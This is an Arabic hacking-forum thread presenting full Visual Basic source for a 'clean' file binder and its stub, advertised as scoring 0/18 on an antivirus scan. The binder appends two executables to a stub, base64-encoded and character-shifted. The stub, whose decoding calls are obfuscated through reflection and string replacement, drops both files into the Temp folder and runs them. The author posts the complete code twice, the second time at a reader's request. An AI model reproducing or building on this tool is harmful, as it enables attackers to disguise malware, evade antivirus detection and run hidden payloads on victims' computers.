صنع برنامج دمج كلين بالفيجوال بيسك نتيجة 0/18

تم تحميل الصفحة في 0,2711278 ثانية
صنع برنامج دمج كلين بالفيجوال بيسك نتيجة 0/18
إنضم
27 مارس 2017
المشاركات
159
الإعجابات
174
النقاط
43

كيفكم شباب انشالله بخير
اليوم نشرح صنع برنامج دمج كلين بالفيجوال بيسك
نتيجة فحص الستب

ikppMTErZMLxrZA.exe - Jotti's malware scan

اترككم مع الشرح

كود Visual Basic
 
Imports System.IO
Imports System.IO.Compression

Public Class Form1
'Coded By Dyar Kalari
    Dim A5, A7 As String
     
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

        Dim A1 As New SaveFileDialog
        With A1
            .Filter = "Exe | *.exe"
            .FileName = "Binded.exe"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                Dim A2 As String = "D-Y-A-R_K-a-l-a-r-i"
                Dim A3 As Byte() = My.Resources.sZCBkMTpEx
                My.Computer.FileSystem.WriteAllBytes(.FileName, A3, False)
                Dim F1 = Convert.ToBase64String(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                Dim F3 = Convert.ToBase64String(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                System.IO.File.AppendAllText(.FileName, A2 & Encrypt(F1) & A2 & A5 & A2 & Encrypt(F3) & A2 & A7)
                MsgBox("SuccessFully Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
                TextBox1.Clear()
                TextBox2.Clear()
            End If
        End With


    End Sub
    Public Function Encrypt(ByVal Kalari As String) As String
        Dim Dyar As String = Nothing
        For Each i As String In Kalari
            Dim Ui As Integer = AscW(i) + 400
            Dim Ch As String = ChrW(Ui)
            Dyar += StrReverse(Ch)
        Next i
        Return Dyar
    End Function
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        TextBox1.Clear()
        Dim ofd As New OpenFileDialog

        ofd.FileName = "*.*"
        ofd.Filter = "All Files (*.*) |*.*"
        ofd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            A5 = ofd.SafeFileName
            TextBox1.Text = ofd.FileName
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        TextBox2.Clear()
        Dim ofd As New OpenFileDialog

        ofd.FileName = "*.*"
        ofd.Filter = "All Files (*.*) |*.*"
        ofd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            A7 = ofd.SafeFileName
            TextBox2.Text = ofd.FileName
        End If

    End Sub
End Class


كود Visual Basic
 
Module Module1
    Sub Main()
        ' Coded By Dyar Kalari
        IO.File.WriteAllBytes(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(2), DvkZMDvByCvGJJOADGTCp)

        IO.File.WriteAllBytes(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(4), xLEkkBkiZsMBwEGwshCnw)

        Process.Start(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(2)) : Process.Start(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(4))

        Process.GetCurrentProcess.Kill()

    End Sub

End Module
Module Module2
    Public Function BAJSHEUSHBSUSIEUWUWUEI(ByVal Base64 As String)
        Return CType(GetType(Convert).GetMethod("Fr-se6".Replace("-", "omBa") & "4" & "St/g".Replace("/", "rin")).Invoke(Nothing, {Base64}), Byte())
    End Function
    Public jsushsjs As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Public pGxnGxGwpTMpiMDswvrss() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "D-Y-A-R_K-a-l-a-r-i")

    Public DvkZMDvByCvGJJOADGTCp As Byte() = BAJSHEUSHBSUSIEUWUWUEI(EZMOEpJDDf(pGxnGxGwpTMpiMDswvrss(1)))
    Public xLEkkBkiZsMBwEGwshCnw As Byte() = BAJSHEUSHBSUSIEUWUWUEI(EZMOEpJDDf(pGxnGxGwpTMpiMDswvrss(3)))
    Public Function EZMOEpJDDf(ByVal Kalari As String) As String
        Dim Dyar As String = Nothing
        For Each i As String In Kalari
            Dim Ui As Integer = AscW(i) - 400
            Dim Ch As String = ChrW(Ui)
            Dyar += StrReverse(Ch)
        Next i
        Return Dyar
    End Function
End Module

 
التعديل الأخير بواسطة المشرف:
إنضم
1 أكتوبر 2007
المشاركات
140
الإعجابات
86
النقاط
28
السلام عليكم ورحمة الله وبركاته

اولا اشكرك على الطرح الممتاز هذا ومشاء الله عليك بطل وبطل وبطل

لكن اذا تسمحلي تسنخ الكود وتحطه في ملف txt وترفعه لنا ؟!
 
إنضم
27 مارس 2017
المشاركات
159
الإعجابات
174
النقاط
43
السلام عليكم ورحمة الله وبركاته

اولا اشكرك على الطرح الممتاز هذا ومشاء الله عليك بطل وبطل وبطل

لكن اذا تسمحلي تسنخ الكود وتحطه في ملف txt وترفعه لنا ؟!
وعليك السلام اخي الكريم
شكرا لمرورك
يمكنك نسخها هنا بدون مشاكل
Binder
كود Visual Basic
Imports System.IO
Imports System.IO.Compression

Public Class Form1
'Coded By Dyar Kalari
    Dim A5, A7 As String
     
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

        Dim A1 As New SaveFileDialog
        With A1
            .Filter = "Exe | *.exe"
            .FileName = "Binded.exe"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                Dim A2 As String = "D-Y-A-R_K-a-l-a-r-i"
                Dim A3 As Byte() = My.Resources.sZCBkMTpEx
                My.Computer.FileSystem.WriteAllBytes(.FileName, A3, False)
                Dim F1 = Convert.ToBase64String(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                Dim F3 = Convert.ToBase64String(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                System.IO.File.AppendAllText(.FileName, A2 & Encrypt(F1) & A2 & A5 & A2 & Encrypt(F3) & A2 & A7)
                MsgBox("SuccessFully Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
                TextBox1.Clear()
                TextBox2.Clear()
            End If
        End With


    End Sub
    Public Function Encrypt(ByVal Kalari As String) As String
        Dim Dyar As String = Nothing
        For Each i As String In Kalari
            Dim Ui As Integer = AscW(i) + 400
            Dim Ch As String = ChrW(Ui)
            Dyar += StrReverse(Ch)
        Next i
        Return Dyar
    End Function
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        TextBox1.Clear()
        Dim ofd As New OpenFileDialog

        ofd.FileName = "*.*"
        ofd.Filter = "All Files (*.*) |*.*"
        ofd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            A5 = ofd.SafeFileName
            TextBox1.Text = ofd.FileName
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        TextBox2.Clear()
        Dim ofd As New OpenFileDialog

        ofd.FileName = "*.*"
        ofd.Filter = "All Files (*.*) |*.*"
        ofd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
            A7 = ofd.SafeFileName
            TextBox2.Text = ofd.FileName
        End If

    End Sub
End Class


Stub
كود Visual Basic
Module Module1
    Sub Main()
        ' Coded By Dyar Kalari
        IO.File.WriteAllBytes(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(2), DvkZMDvByCvGJJOADGTCp)

        IO.File.WriteAllBytes(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(4), xLEkkBkiZsMBwEGwshCnw)

        Process.Start(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(2)) : Process.Start(jsushsjs & "\" & pGxnGxGwpTMpiMDswvrss(4))

        Process.GetCurrentProcess.Kill()

    End Sub

End Module
Module Module2
    Public Function BAJSHEUSHBSUSIEUWUWUEI(ByVal Base64 As String)
        Return CType(GetType(Convert).GetMethod("Fr-se6".Replace("-", "omBa") & "4" & "St/g".Replace("/", "rin")).Invoke(Nothing, {Base64}), Byte())
    End Function
    Public jsushsjs As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Public pGxnGxGwpTMpiMDswvrss() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "D-Y-A-R_K-a-l-a-r-i")

    Public DvkZMDvByCvGJJOADGTCp As Byte() = BAJSHEUSHBSUSIEUWUWUEI(EZMOEpJDDf(pGxnGxGwpTMpiMDswvrss(1)))
    Public xLEkkBkiZsMBwEGwshCnw As Byte() = BAJSHEUSHBSUSIEUWUWUEI(EZMOEpJDDf(pGxnGxGwpTMpiMDswvrss(3)))
    Public Function EZMOEpJDDf(ByVal Kalari As String) As String
        Dim Dyar As String = Nothing
        For Each i As String In Kalari
            Dim Ui As Integer = AscW(i) - 400
            Dim Ch As String = ChrW(Ui)
            Dyar += StrReverse(Ch)
        Next i
        Return Dyar
    End Function
End Module
 
إنضم
11 مارس 2017
المشاركات
2,337
الإعجابات
2,486
النقاط
128
العمر
23
الإقامة
Palestine

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل